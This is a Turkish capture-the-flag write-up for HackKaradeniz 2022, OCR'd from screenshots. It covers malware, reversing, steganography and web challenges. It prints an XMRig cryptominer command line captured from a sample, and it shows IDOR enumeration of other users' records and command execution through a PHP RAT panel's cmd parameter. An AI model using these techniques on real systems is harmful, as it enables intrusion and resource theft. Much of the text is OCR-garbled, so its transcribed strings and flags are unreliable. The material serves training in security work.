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19 soru ¢ozumlendi.

1 - windows.exe

Elimize sample-windows.exe isimli bir dosya gecti. Bu dosyay! en basta VirusTotal ile taramanin mantikli olacagini distnduk.
https://www.virustotal.com/qui/file/49b7¢c957301b6d5e598becbb444c4b5738711866¢c170ce4844a8f80dc22e2058/behavior

VirusTotal’deki davranis analizi kisminda “Shell commands” altinda calistirllan zararli komutlari inceledik. Burada -pass

parametresi ile verilmis B64 encoded bir string bulduk.

“RmxhZ3sweDQ2NkM2MTY3NOI2ODY1NzI3MzY1Nzk3NjMONzQ2MTZFMzE2MzY5NkU3RHO="

E 49b7c957301b65e598becbbd44c4b5736711866¢170ce4844a8180dc2262058 a -~ 88 ['Sign up ]

+  HKLM:\System\CurrentControlSet\Services\WinRing0_1_2_0\ImagePath
+  HKLM\System\CurrentControlSet\Services'\WinRing0_1_2_0\Start

Process And Service Actions

Processes Created
%SAMPLEPATH%:\sample-windows.exe
%USERPROFILE%\AppData'‘Local\Tempinone'xmrig-6.16.4xmrig.exe

Shell Commands

"%SAMPLEPATH:\sample-windows.exe”
%USERPROFILE®:\AppData'Local\Tempinonetxmrig-6.16.4\xmrig.exe --url pool.hashvault.pro:80 --user
46zddr14XunCANLoynmVXxSFZi1 5Af3qychEPoH72qrS6dSFHdavYnHb29z TN XqgRHAFBMmWxW5QuKvfYdAQSSU3GqqRfEA --pass
--donate-level 1 --tls —tls-fingerprint 420c7850e09b7c0bdcf748a7da%b364 7daiB515718f36d9ccfddbbafiB34b14

Processes Injected

%SAMPLEPATH%:\sample-windows.exe

Processes Terminated

“.SAMPLEPATH%\sample-windows.exe

Processes Tree
\9 2872 - %WINDIR\explorer.exe
I% 656 - %SAMPLEPATH\sample-windows.exe

Q 2472 - %USERPROFILE%\AppData‘Local Tempinone'xmrig-6.16.4\xmrig.exe

Modules Loaded

Runtime Modules

%USERPROFILE%:\AppData'LocallTempinonetxmrig-6.16.4'xmrig.exe
% USERPROFILE®:\AppData\Local\Tempinonetxmrig-6.16.4\WinRing0x64.sys

String’i decode ettik.
“Flag{0x466C61677B686572736579763474616E3163696E7D}"”

Soruda “beklenenden daha farkli bir deger” olabilecegi sdylendigi icin susli parantezler icerisindeki karakter dizisinin Hex
encode edildigini biliyorduk, onu da decode edince gercek flag’e ulastik.

Flag{herseyv4tanlcin}


https://www.virustotal.com/gui/file/49b7c957301b6d5e598becbb444c4b5738711866c170ce4844a8f80dc22e2058/behavior

2 - BlackOnBlack

Co6zmemiz icin verilen fotografi indirdik. 29a.ch ile gorseli analiz ettik.

@ Forensically ket

Input

Color v

Projection

Ent ement

Equalize Histogram v

“Principal Component Analysis” kismindaki islemlerden sonra “OBQXG4Z2MU2HG6LQGRZXG5ZQO)JSA====" degerinin yazil
oldugu goéruldi ve not alindi. Bu degerin Base32 ile encode edildigi farkedildi ve CyberChef araciligi ile decode edildi.

Elde ettigimiz deger: “pass:e4sypdsswOrd”

Download CyberChef ¥ Last build: 8 days ago Options Q About / Support 0
= length: 32 —
Operations Recipe Sl N Input el T3 E =
0BQXG4Z2MUZHGELQGRZXG5ZQ0)SA====
base32 From Base32 . 0 .
To Base32 Alphabet
-22-7=

From Base32
5 Remove non-alphabet chars
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. time: &ms
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Date | Time pass:edsyp4sswlrd
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Bize verilen resim “.jpg” uzantisina sahipti. Halihazirda elimizde de bir parola olduguna gére bunu kullanarak “steghide
extract -sf black-on-black.jpg” ile gizlenen “chat-history.txt” dosyasini ¢ikarttik. Dosya icerigi asagidaki gibidir:

root@hydrasit: fhome/akil/Masailsti

Dizenle Gorindm Ara Uchirim  Yardim

/home/akil/Masailsti# steghide extract -sf black-on-black.jpg

02:42:04 [root]: BSSID = 64:70:02:60:99:f7

02:42:09 [root]: SSID?

02:42:13 [client_user]: SSID yeterli mi?

02:42:17 [root]: Tam olarak degil, ama yeterince yakin.
02:42:18 --root left the channel-

Bir BSSID verdigini gorlyoruz. Arastirdigimizda “wigle.net” adinda bilinen SSID ve BSSID’lerin tutuldugu bir nevi veritabani
gibi bir sitenin var oldugunu gériiyoruz. Uye olup “Advanced Search” kisminda aramayi yapti§imizda karsimizda aradigimizi

buluyoruz.

Flag{bldck ch405}
@ @ View @ Uploads Info @ Stats @ Tools akilpasa Log out

Network Search

General Search WiFi/Cell Detail Bluetooth Search

. Network Characteristi
Average Location - Address etwor araclensiics

Last Updated: Minimum data quality’: 0 . Encryption status: v
Num: Street:

BSSID/MAC:  64:70:02:60:99:7
City: Region:

SSID / Network Name (exact match):
Country: Postal:

SSID / Network Name (wildcards’: % and _IE

. . Must Be a FreeNet Must Be a Commercial Pay Net Only Networks | Was the First to Discover
Average Location - Coordinates

Query Sifirla
Lat: to:

0-7 Product of number of observers and observations.
Lon: to: ! 2! means zero-or-more characters, '_' means a single character.

Search Radius Tolerance(+/- degrees): 0.010

[shnwing records 1 to 1 of 1 ]
Map NetlD SsID Type  First Seen Most Recently Crypto  Est. Lat Est. Long Channel Benint. QoS  Found by Me Access  Comment
map  64:70:02:60:99:F7 KAT-3SAG infra 2015-09-05T19:00:00.000Z 2015-09-16T07:00:00.000Z E 41.34758521 36.25075912 ] 0 ] - Appended by ssidtobssid on 2022-06-28 21:53:38: Flag(bl4ck_ch405} add comment

more results

SOCIAL SITE INFORMATION /DEV/RANDOM USER MANAGEMENT NEWS

WIKI FAQ CAFEPRESS GEAR PASSWORD CHANGE FORUMS
TWITTER END-USER AGREEMENT LINKS NEWS RSS




3 - Forrest Gump

Soruda bize HKGame.rar dosyasi verildi. Dosyay! indirip actigimizda icerisinde bizi Unity ile yapilmis bir oyun karsiladi. Oyunu
actigimizda bir obje Uzerinde surekli kosan ve flag'i yakalamaya calisan bir cocuk vardi. Oyun icerisinde biraz bekledikten

sonra gordigum bir sonsuz donglde gibi oyuncu hic bir sekilde ilerleme kaydedemiyor.

Bunun ardindan Unity hakkinda fikir sahibi olmadigim icin ufak bir arastirma yaparak dnSpy araci ile oyun dosyalarini
decompile edilebilecegini 6grendim ve hemen ise koyuldum.

DnSpy ile oyuna ait olan Assembly-CSharp.dll dosyasini actim ve icerisi kurcalamaya basladim. Oyuna ait olan oyuncu hizi
gibi verileri degistirmeme ragmen oyuncu hicbir sekilde flag’e yaklasamiyordu. Tekrar dosyalar inceledigimde Unity
Movement icerisinde asagidaki satirlari buldum.

Dosya Dizenle Gordndm  Hataaylklama  Pencere  Yardm & Moz P Baslat
Derlemne Gezgini * X UnityMovement >

Assembly

b PE

P =B Tiir referanslan
P =B Referanslar

b % WallMakerC
P {} TMPr
P {} TMPr

text2 += ((char)((int)c * array[num]}).ToS
n text?;

P =B Tiir referanslan
b u-B Referanslar
bo{} -

P} AoT




Hemen web Uzerinden calisan bir C# Compiler acarak kodu burada test etmeye calistigimda bayragi yakalamis oldum.
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=
T
int num = @;
foreach {(char c in text)
i

textZ += ({(char){{intic ™~ arrav[num])}).ToString();
T

Conzole.WritelLine({text2);

FLAG{F1INALS_DOGRU_4DIM_J4DIMTF

FLAG{F1N4L3_DOGRU_4DIM_4DIM}

4 - Hesap Makinesi

“sample-linux” adinda bir dosya veriliyor. Bunu calistirdigimizda basit bir hesap makinesi gibi gdézikuyor.
File Actions Edit View Help

~/Desktop
+x sample-linux

~/Desktop

I{Dost Canlisi) hesap makinesine hos geldinizz :D
Kullanimi oldukca basit! Sadece 2 sayi giriyorsunuz ve islem tamam :DD

+—+Menu ++—

1] Toplama

Carpma
4] Bolme
Seciminiz: 1
1. sayiyi giriniz: 2
2. sayiyi giriniz: 2

=

Sonuc: 4

1(Dost Canlisi) hesap makinesine hos geldinizz :D

Kategorinin “Malware” olmasi nedeniyle ilgili 6rnegi VirusTotal Uzerinde tarattik, belirli baglantilar dikkatimizi cekti fakat
bunun anlamsiz ve bizi oyalamak icin konuldugunu anlamamiz ¢ok uzun zaman almadi. Farkl arayislarimiza devam ettik. Bu
nedenle ilk olarak dosyay! incelemeye koyuldum.



String’lere g6z atmaya calistigimda UPX ile ilgili datalar gordigum icin dogrudan “upx-ucl” ile unpack ediyorum ve “strings
sample-linux >> diziler.txt” komutu ile batun karakter dizilerini disariya aktariyorum. Daha sonra not defteri ile acip g6z

atarken, “parola” kelimesi gecen bir bolge géruyorum.

Base64 oldugunu disindigim diziyi defalarca decode ediyorum ve “Flag{...}” arasinda Hex ile encode edilmis karakterler
oldugunu anliyorum. D6nUstirdigimde bayrak ortaya cikiyor.
Flag {hay4tt4enhakikimursitilimdir}

oD oD A =01 | @ @&

B ~{Desktop/diziler.txt - Mousepad
File Actions Edit View Help File Edit Search View Document Help
D & mCc x XMoo aa®n

L1%2W CUNLLNE: idy 1IEEU LU LIILIEddE lidA UdED PruLes>ed (uLliie -uy
21431 path meido
21432 mod meido  (devel)
p ; . 21433 found bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime:
= - : ; internal error: misuse of lockOSThread/
File System infection’.... ~/Desktop unlock0SThreadABCDEFGHI JKLMNOPQRSTUVWXYZabcdefghi jkimnopgrstuvwxyz123456
a FEYTmMENM ORZe e a 789+/ABCDEFGHI JKLMNOPQRSTUVWXYZabedefghijklmnopqrstuvixyz0123456789-
_runtime.SetFinalizer: pointer not at beginning of allocated blockgo
package net: built with netgo build tag; using Go's DNS resolver
21434 bytes.Buffer: UnreadByte: previous operation was not a successful
readcannot convert slice with length %y to pointer to array with length
%xtoo many concurrent operations on a single file or socket (max
1048575)reflect.Value.Interface: cannot return value obtained from
unexported field or
method

~/Desktop
(2DQ2NKMZMT

sample-linux = o 21435 !(Dost Canlisi) hesap makinesine ho

21436 geldinizz :D
. . 21437 Kullanimi oldukca basit! Sadece 2 sayi giriyorsunuz ve
i; @ rapidtables.com 80% ¥ islem tamam :DD
=
Kali Linux & KaliTools ¢ KaliDocs & KaliForums eX Kali NetHunter Exploit-DB

sample-lin... 466CE1677B68617934747434656E68616B696B696D7572736974696C6

96D6469727D

diziler.txt

Character encoding

. ASCII

5 - Mixer

“Anaktarguestion.exe” adinda bir dosya bize verilmisti. Dogrudan x32Dbg ile incelemeye calistigimda h4CkK4r4d3nlz
karakter dizisi dikkatimi cekiyor. Bunu cevap olarak denedikten sonra sonra debuggerda uygun noktalara breakpoint
koydugumdan programin “4KkC4hrz1n3d4” seklinde girdigim veriyi karistirdigini gértyorum.

Burada diz mantik yUraterekten, karisik veriyi verirsem dogru degere dontsecegini disindyorum ve “4KkC4hrz1n3d4"” girip
“HK{H3y6!D! K4R4D3N!2}" seklinde bayragimi aliyorum.

HK{H3y6!D! K4R4D3N!2}

W Aneita exe - PID: 6308 - Modill: anektz on.exe - Thread: Ana igle -
Dosya Gorunim Debug Tracing Eklentler SkKulanlanlar Secenekder Yardm M (TitanEngine)
coE it talsSePis L BO
Blcru  [Gomik  [UNotar  ® KesmeNoktolan W Hafza [/ VnCagrlan  S@SEM  [o KomutDosyas @ semboler <> Kaynak /0 Referansar W isParcacidan 8 Tutamagar 7 iz
== ~ 78 17 anektarquesti ~ .
! 8345 E8 02 :"akkCahrzinzds” FPU Gizle
i . gg;g Eé gg : "h4CkK4r4d3nlz n<  ECECEEED P
| ~ 75 CC i . EBX 01031000
i 6 €745 EO 00000000 mov dword ptr ss:|[Jebp-20],0 ECX 00563128 "h4CkK4r4dzniz"
| D ~ EB 08 jmp anektarquestion.S&11E7 EDX  FFFFFFFF
L 1BD2 sbb edx,edx EP DOFDFD 98
83CA 01 or edx,1
8955 EO mov dword ptr ss: p-20J,edx ealsistem'\Deskto
8B45 ED mov eax,dword pt :[Bebp-20j E=C:\\ProgramDat
8945 D4 mov dword ptr 1, eax
. 837D D4 00 cmp dword ptr ss:|ffebp-2cf],0
- v 75 12 jne anekcarquestmn.ssuoé o= €1205
f 884D 08 mov ecx,dword ptr ss:[ebp+s] [ebp+8] : "4KkC4hrz 1nzda”
| 51 push ecx ecx: "h4CkK4r4d3niz”
v E8 O4FEFFFF gall anektarquestion.561000

MNAME_NOT_FOUND )

0.000000000000
0.000000000000
0.000000000000
0.000000000000
.................... s 0.000000000000
os 0.000000000000
STIEY ANANNANANANNANANNANN YRTr& Bac N AANANAANANAN
< >
B8 20405600 mov eax,anektarquestion.563020
50 pop ebp Varsaylan (stdcal) v [5 2] Okiisiz
€3 ret 1: [esp+4] 0000000D
g Uiz w|2: [esp+B] OOFDFDAS "KkC4hrzin3d4™
*%e > 3: [esp+C] FFFFFFFF
4! [esp+10] 00563128 "haCkk4ar4daniz”
£CX=00563128 "N4CKKaradsniz” 5: [esp+l4] OOFDFDA4 "4KkC4hrzin3dd”
dword ptr ss:[ebp+8]=[0OFDFDAO &"4KkC4hrzin3d4"]=00FDFDA4 "4KkC4hrzlinid4"
.Text:005611F3 anektarquestion.exe:$11F3 #5F3
28 - . &
@pskoml  @lDekim2 @4 Dokim3 @M Dokim4 @ Dskim5 % iZe 1 lx=lYerel Degiskenler 2 Yap 00000000 2
OOFDFDAS | "KkCahrzinada"
L s 2
27060010 . 00563128 | anektarquestion. 00563128
e OOFDFDA4 | "4KkC4hrzin3da™
0000000C
EECE0030 00FDFDEZ
77C60040 .-LIIT e
77CE0050 ram canno T
77C60060| 7 t be run in DOS  OGESAEE
77€60070 mod O D
77CE0080 -
0056120B| return to anektarguestion.0056130E from anektargquestion. 00561000
77C60090 2 " -
4KkC4hrzin3d4
77C600A0| 7 1 | TEETED
77CE00B0| 7 Tic
77C600C0| 7 b Al
77C600D0 R ;
e noED i 34| anektarquestion. 00560034 v
77C600F0 08 00|90 CD CC 39|00 00 00 0O|P v« >
Komut: [ - separated (like assembly instructicns): mov ean, ebx | varsaylan -

| Durakiztich | INT3 breakpoint at anektarquestion. 00561205 (0D561205)! | Debugging ign Harcanan Zaman: 0:00:22:18




6 - DUnya Donuyor
Reverse alaninda gelen “Dinya DonUyor” sorusu oldukca fazla kafa patlatmamiza neden oldu. Cevap olarak sarkinin sézlerini bile girmeyi

denedik fakat program bize bir tarll flag’'i vermiyordu. Debuggerlar kullanarak patchleme deneylerimiz de ne yazik ki ise yaramiyordu.
Girdigimiz degerler etkisiz eleman olarak dontyordu.

\IdealSistern\Desktop\HK-EasyCrackMe.exe

uyor sen

I::Dun

patche
Dunya donuyor

Dunya donuyor

I Dunya donuyor

Anektar

functionBo... deep(1)

Nihayet IDA Pro ve NSA tarafindan gelistirilen diassembler araci olan Ghidra ile arastirmalarimiz sonucunda sutpheli bir fonksiyon bulduk.
IDA dogrudan yardimci olmazken, Ghidra ile dederleri daha rahat ve anlasilir bicimde okuyabildik.

Bu fonksiyonu inceledigimizde basit diizeyde sifrelemelerde kullanilan XOR kullanildigini fark ettik. Hexadecimal olarak degiskenlere
atanan degerleri 6nce decimal ve daha sonra normal metine gevirip, elde ettigimiz “h4cK” keyi ile XOR isleminden gecirdigimizde
aradigimiz bayragi bulduk.

HK{Z0n6uLD4K yOLcu5u_K4LM4S1N}

&

File Edit Analysis Graph Navigation Search Select Tools Window Help

Ble-=- BPBERH JIDULFRYE- (@48 oo | vEIEEGL0BS 0L | @

& [Decompile: FUN_004011f0] - (HK-EasyCrackMe.exe) £ 73 [ | v x
Bo® W From Decimal, XOR - CyberChefX  + - b 13 1 ~
- [ Hc-EasyCrackM & a . _ e
Headers & (& O 8 gcha.github.io %90 17 @ = |
rdats Download CyberChef # Last build: 9 days ago Options ¢ About / Support)fa7
A e
= langth: 29 = 5
Operations Recipe am 3 Input e . T O W B |
r reloc trom hesx N 32 127 24 17 88 99 85 62 36 112 87 @ 55 77 ||
- Debug Data v rom Decima 83 7 11 65 86 62 55 127 87 7 37 @ 48 122 I,
< > =2
From Hex Delimiter s 53
Program Tree x Space \:‘ Support signed values A
EE}S = x From Hexdump -
[ e From Hex Content Hox 57
i B F  FUN_D04 A ‘ 58
ey .
“ )): EE:’EE: Favourites * hdck UTFS - =
B PO p o format Scheme S -
.. )): EE:ng: Standard [ Null preserving HK{ZBn6uLD4K_yBLcuSu_KALMASIN}
- X
@ §  FUN_004 Encryption / Encoding
=] FuN_004
@E-L% local ¥ | Public Key
< >
Hm: )| Arithmetic / Logic
~ Yy v
| STEP an BAKE! . g
[ExiBataTypeM...| v X | Networking v diitolake
L S I 90 32 40 00
‘&E 004012d0 0 11 45 cc MOVUES xmmword ptr [EBE + local 38[0]],X84 2
T 004012d4 O 28 05 MOVAPS 0440, xomword ptr [DAT_004032d0] |
| 8 Data Types 73
? BuiltInTypes do 32 40 00 -l |7
04¢ of = MOV xmmword ptr [EBE + local 28[0]],XMM
1 OHEssyCrackvie. e T jjnlzdk: 0f 11 45 d v:"m:s rd [EB? + local_28[0]],X
¥ generic_db 004012df 50 no®
¥ windows_vs12_32 1_10[iVar2]
LAB_00401220 ¥REF[1]: 0040130% (3} S
00401220 33 c8 HOR ECX, EC .
< oo o o ) > =)
( - = 8 } while{ true );
‘Egmnt-smpﬁg 2 &I x|,
Filter 8 || ry |8 v
@‘ 004012db FUN_D04011f0 MOVUPS xmmword ptr [EBP +-0x24],... ’7

00:40

£ Aramak icin buraya yazin i - ;N o I 18.07.2022 Ez




7 - Klasik

Co6zumu oldukca tuhaf olan sorulardan biriydi. Calistirdim ve Flag{..} biciminde Hex ile encode edilmis flag karsimdaydi.
Decode ettim ve sonuca ulastim.

Yent Metin
Belgesi.bxt 5 7D}Parola Girin:

I Hex to ASCII Text String C

9] E] rapidtables.com

466C61677B6D696C347474616E6F6EG63653238397D

Character encoding

ASCII

Flag{mildttanonce289}

Flag{mil4ttanonce209}
8 - Interview

Sitede biraz gezindikten sonra sol Ustte sosyal medya butonlar gorduk. Tikladigimizda bizi “ProKlean” Twitter hesabina
yonlendirdi.

https://twitter.com/ProKlean4

Home About Career Project Pages~ Contact Get A Quote

CLEANING SERVICES

Best Quality Solution
In Cleaning

o Our Office a
info@example.com



https://twitter.com/ProKlean4

Bu Twitter hesabinin takip ettikleri arasinda “Ayse Zonguldak” adinda biri oldugu goériliyordu.

https://twitter.com/iAyse_Zonguldak

« Pro Klean

Anasayfa Takip ediliyor

ilgini gcekebilecek giindemler

" Ayse Zonguldak
[ o= = Takip et
Ke%fEt 4 % #Kayseri

ProClean
Bildirimler
#HabertiirkBoykot
Mesajlar

llgili kisiye gittigimizde mail atmamiz istendigini gordim.

« Ayse Zonguldak

Anasayfa Bunlari begenebilirsin

Bildirimler P
k \ Ersnay] Takip et
R —

. =) -
Mesajlar = -
- " ree i i g
» . Takip et .&‘ Zahid Eroglu
4

Yer isaretleri b
Ayse Zonguldak

Listeler
ProClean

Profil ligini gekebilecek giindemler

BELEREFAE] Kaya Gilingiroglu

Tweetler
Araplara

i~ Ayse Zonguldak
% Selamlar,

Defne Joy Foster
a arkadaslan ariyoruz. CV'nizi e-posta

ckkaradeniz.com

Salih Selman

Kimi takip etmeli

M. Akil Giindogan
16 Ivl security researcher Hincal Ulug

Nedim Sener

Mesajlar

Mail gonderdigimde bize otomatik olarak cevap olarak panel girisi ve sifre goénderildi. Bunlar ilgili hedefimizde
kullanacagimizi artik biliyorduk.

HackKaradeniz Interview
M Ulakat Gelen Kutusu

k¢

Akil Gundogan 16 Tem
Merhaba, baglantiyi alabilir miyiz?

Ayse Zonguldak Din
Alicilar: ben v

Selmalar,

Milakat paneline erismek igin;

URL: http://int101.hackkaradeniz.xy
z/mlktktlmadylgnpnl/login.php
Username: "Alex"

Password: "1a2b3c4d5e6f"


https://twitter.com/iAyse_Zonguldak

Mail Gzerinden gelen kullanici adi ve parola ile panele giris yaptigimda karsimda soyle bir sayfa vardi.

< C & int101.hackkaradeniz.xyz/mlktktimadylgnpnl/index.php?adaylD=c4ca4238a0b923820dcc509a6f75849b

Hosgeldin Alex
Aday ID: 'T’

Click here to Logout.

_ o

Bu kisimda URL Uzerindeki ID ile sayfa icerisindeki Id'nin farkli olmasi beni biraz distindirdu fakat hemen URL Uzerindeki
adayID'yi alarak hash sorgulamasi yaptim ve MD5 oldugunu gordim. Bu hash’i kirmak istedigimde sonuc basarili oldu ve
degerin adaylD ile eslestigini gérdim. IDOR olabileceginden suphelenerek sdyle bir sey denemeye karar verdim. 2 numarall
id’i MD5 ile hashleyip adayID olarak girdigimde id numarasi 2 olan kullanicinin profilini gérdim.

C & int101.hackkaradenizxyz/mlktktlmadylgnpnl/index php?adayiD=c81e7z

Hosgeldin Deniz
Aday ID: 2"

Click here to Logout.

Ardindan bu sekilde devam ederek ilerledigimde hemen 3 numarali id’de Flag'i buldum.

C & int101.hackkaradenizxyz/mlktktimadylgnpnl/index.p

Hoggeldin Kemal
Aday ID: '3'Flag: Flag{v3nl v1dl vlcl}

Click here to Logout.

Flag{v3nl_vldl vicl}

9 - APT55
Bize verilen siteye girdik ve biraz inceleme yapik. Ancak, siteden nasil ilerlenecegine dair pek bir bilgi elde edemedik. Bu

yluzden yol gosterici alt dizinler olabilecegini disindik ve gobuster araci ile taradik.

gobuster dir -u https://apt55.hackkaradeniz.xyz/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x

php,sh,txt,cgi,html,js,css,py
“gobuster dir -u https://apt55.hackkaradeniz.xyz/old/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x

php,sh,txt,cgi,html,js,css,py
gobuster dir -u https://apt55.hackkaradeniz.xyz/old/db/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x

php,sh,txt,cgi,html,js,css,py



https://apt55.hackkaradeniz.xyz/old/db/index.php adresinde “Recovery Code” adi altinda 8MB’lik bir zip dosyasi

(pass1234.7z) mevcuttu indirdik ve dosya isminden arsiv sifresinin “1234” olduguna kanaat getirdik.

[ven] @  apt55.hackkaradenizxyz/old/db/index.php

Recovery Code

icinden cikan “server” adli klasérde bazi php kodlari gérdik ve anlamlandirmaya calistik. Kaynak kodunu biraz daha
inceledigimizde bu klasérian “torCT-PHP-RAT” (https://github.com/IHA114/torCT-PHP-RAT) oldugunu gorduk.

Kaynak kodunu daha detayli inceledigimizde clientlarin iletisim kurmasi icin gerekli olan gate adresini yakaladik ve ziyaret
ettik. Ancak, bizi bir login sayfasi karsiladi. Login sayfasi icin gerekli olan bilgileri “password.php” kaynak kodunda gorduk ve

uygun sekilde encode ettik.

$password = md5("hkdphprat");
8d908206943e668e453a6ef58e5958d3

MD5 Hash Generator + Shat Hash Generz

Use this generator to create an MD5 hash of a string:

hkdphprat

Your String hkdphprat

MD5 Hash 8d908206943e668e453a6ef58e5958d3
SHA1 Hash 1e2d21695639cheb62bdff61998c6603be28380e3


https://github.com/IHA114/torCT-PHP-RAT
https://apt55.hackkaradeniz.xyz/old/db/index.php

Giris yaptiktan sonra ise bizi yonetici paneli karsiladi ve “Actions” yazisinin altindaki bosluga tiklayarak komut
calistirabilecegimiz bir endpoint’e gecis yaptik.

https://apt55.hackkaradeniz.xyz/php/rattest/test_client/server/index.php

@ 9 » O @

| @ aptsshackkaradenizxyz/f hp o

[ hackaradeniz [ exploits » obb saw bbh €) in B py @ & [ allah W@ pc [ ders [ forums [J songs [ ducky . carb ® doc2pdf threatABLEFeed @ md € intro ™ sms
Q Would you like the password manager to save the password for "https://apt55.hackkaradeniz.xyz"? Update
Actions
ClearAll
Send Blue Screen
Send BlackScreen

Send Start NotePad
Send Start CMD
Start Test

Slaves Online : 8

https://apt55.hackkaradeniz.xyz/php/rattest/test client/server/test.php?cmd=ls

Dizin listeledigimizi gordikten sonra ise “cat flag.txt” komutu ile Flagimizi kaydettik.
https://apt55.hackkaradeniz.xyz/php/rattest/test client/server/test.php?cmd=cat%20flag.txt

[vPn] @  apts5.hackkaradenizxyz/php/rattest/test_client/server/testphpZemd=whoami 5 [}

hackaradeniz [0 pecenT SEARCHES G md € intro

encode md5 - G
encode md4 -G

site:pastebin.com “md5 encode” - ¢

ackkaradeniz.xyz,

Actions

ClearAll
Send Blue Screen
Send BlackScreen
Send Start NotePad
Send Start CMD
Start Test
Slaves Online : 8

Flag{Gh@sT_D3aD_L3gl@n_t3aM55}

Flag{GhOsT_D3aD L3g10n_t3aM55}


https://apt55.hackkaradeniz.xyz/php/rattest/test_client/server/test.php?cmd=cat%20flag.txt
https://apt55.hackkaradeniz.xyz/php/rattest/test_client/server/test.php?cmd=ls

10 - Rotasini Sasiran Tir - 1

Yarisma boyunca bizi en c¢ok zorlayan sorulardan biri oldugunu soéyleyebiliriz. ilk baslarda soruda verilen
+d0gbfGANdK82YmMUO kodunu lokasyon belirten bir “plus code” sandik. Ancak, denemelerimiz basarisiz oldu. Ortadaki “And”
ibaresinin bir ipucu oldugunu disidndik ama bu da ne yazik ki bizleri yaniltti.

En sonunda bunun bir davet kodu olabilecegini disundiglimuzde basina “t.me” ekleyerek
“https://t.me/+d0gbfGANdK82YmUO” baglantisini elde ettik. Hedefe gittigimizde bayrak karsimizdaydi.

Flag{M4smdvi K4r4d3niz4 HOsg3ldin}

=4 Telegram DOWNLOAD

Gizli Bilgi

Flag{M4sm4vi_K4r4d3niz4_HOsg3ldin}

JOIN CHANNEL

11 - Fernet

Bu soruda bizde https://fernet.hackkaradeniz.xyz adresi verilmisti. Web sayfasina girdigimizde bizi siyah ekran lizerinde bazi

yazilari karsiliyordu. Bu asamada oOnce robots.txt gibi bilindik endpointleri denedikten sonra hic bir sekilde bir sonuca
varamadim. Web sayfasi Uzerinde kirmizi renkler ile belirtiimis olan HackKaradeniz yazisini endpoint olarak denedigimde
Method Not Allowed uyarisi ile karsilastim. Burada methodun desteklenmedigini gorerek istegi POST metodu ile gbndermeyi

denedim.
Forward Drop Action Open Browser ; ent t te <G | HTTP/2 @
Raw  Hex = " = | Inspector w|[J & X
1 POST /HackkKaradeniz HTTR/2
2 Host: fernet.hackkaradeniz.xyz ¢ Back < >
3 Sec-Ch-Ua: "Chromium";v="103", ".MNot/&)Brand";v="99"
4 Sec-Ch-Ua-Mobile: 70 Methaod
S Sec-Ch-Ua-Platform: "Linux"
5 Upgrade-Insecure-Requests: 1 Value
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wins4; x64) fppleWebkit/537.36
(KHTML, like Gecko) Chrome/103.0.5060.532 Safari/537.36 POST
2 Accept:
text/html, application/xhtml+xml, application/xml; q=0.9,1mage/avit,1mage /webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=h3;q=0.9 Decoded from: Select ~

o Sec-Fetch-Site: none
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: 71
12 Sec-Fetch-Dest: document
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-Us,en;g=0.9

Sonug olarak bize URL encode edilmis bir sekilde bir data ve bir key verdi.

https://fernet.hackkarac x [ Burp Suite

< X

iste bir sonraki adim. b')gAAAAABivgzZtTMTgBuYQT5rxmqeuBE-N1v1cKyLkeXerrw24TeQlufHWBX-
mLPpogPYxHnV1FocDG8gabEX7z1ZQt9_kJwB10pQOILgt1 PJa66WSk2nn1WOHO0i2jqI3PsdtVMskLtimA' Ve anahtar:
blpDUGCE77RILZMplYyRzQu-hUVGLb1h6UkG1kLF8ETs='



https://fernet.hackkaradeniz.xyz/

Key’in ve datanin ne oldugunu bilmedigimden ufak bir arastirma ile Fernet ile encrypt edilmis bir veri oldugunu anladim.

Hemen Python ile yazilmis ufak bir script kullanarak veriyi c6zdum ve Flag karsima cikti.

cryptography.fernet Fernet

key b'LpDUBC8TTRXLZMplYYyRzQu-hUVGLb1h6UKG1KLF8ETs="

encrypted b"'gAAAAABivgztTMTqBUYQTSrxmgeuBE-N1vlcKyLkeXerrW24TeQlu

f Fernet(key)
decrypted f.decrypt(encrypted)

print (decrypted)

TERMINAL

mecanbay@puwnlabme:~/pyS python3 fernet.py
b'FLAG{H4cK_kard4D3nlz_2022-T3mMuz}'

FLAG{H4cK_kar4D3nl1lz_2020-T3mMuz}

12 - DESTAN

Bizimle “destan.mp4” isimli bir video paylasildi. Oncelikle, videonun icerisinden bir fikir edinebilmek adina videoyu izledik.
Steganography sorusu oldugu cok belliydi. Bu yuzden internetten mp4 steganography araclarini inceledik ve denedik
(Audacity, steghide vb.). ExifTool ile dosyaya baktigimizda (“exiftool destan.mp4”) Title, Subtitle, Comment ve daha
fazlasinda “123456789"” olmasi dikkatimizi cekti ve sifrenin bu olabilecegini disinduk.

File Actions Edit View Help

¥ Resolution

Bit Depth

Video Frame Rate
Matrix Structure : C 10001
Media Header Version
Media Create Date
Media Modify Date
Media Time !

Balance

Audio Format

Audio Channels

Audio Bits Per Sample

5a
Audio Sample Rate
Handler Type
Title

Comment
Subtitle
Category
Media
Media

-[~/Desktop]




Daha sonra arastirmamiza devam ettik ve ses ve goruntu dosyalari icin kullanilabilen, OpenPuff isimli araci bulduk.

https://aithub.com/DominicBreuker/stego-toolkit

https://embeddedsw.net/OpenPuff Steganography Home.html

OpenPuff aracinda, “Steganography” sekmesinden “Unhide” sectik. Acilan “Data Unhiding” penceresi Uzerinde “Enable (B) ve
(C)"yi deaktif ettik. Daha sonra, “Add Cariers” kismindan dosyamizi ekledik. “Cryptography (A)” kismina daha onceden exif
bilgilerinden buldugumuz “123456789” degerini girdik. OpenPuff Mp4 (Stream) degerini bilmedigimiz icin tek tek bit selection

ayari yaptik ve ekran goruntusunde goruntulenen hatayi aldik.

i

1] Insert 3 uncomelated passwords [Min: 8, Max: 32) [3) Bit selection options

Cryptography (&) |77 (B) | 3Japp (Stream]
+ =3 Aiff (Audio)
Scrambling  (C) | Enable®) I~ (C) I + /N Bitmap (Image)
+-m Fly [Stream)
Passwords check A=B=C + Jpeg [Image]
-9 Mp3 (Audio)

H [X,Y] — Hamming d.-l_.._-- R A R R AC S,
Task interrupted - Error

[2) Carier selection [Order sensitive] )
Step (1): wrong password?
Step (2): corrupted carriers or wrong carrier order?
Step (3): wrong bits selection level?

[Name) Sort by name / (Bytes) Sort by 0 Task stopped: corrupted stream

Name

o]

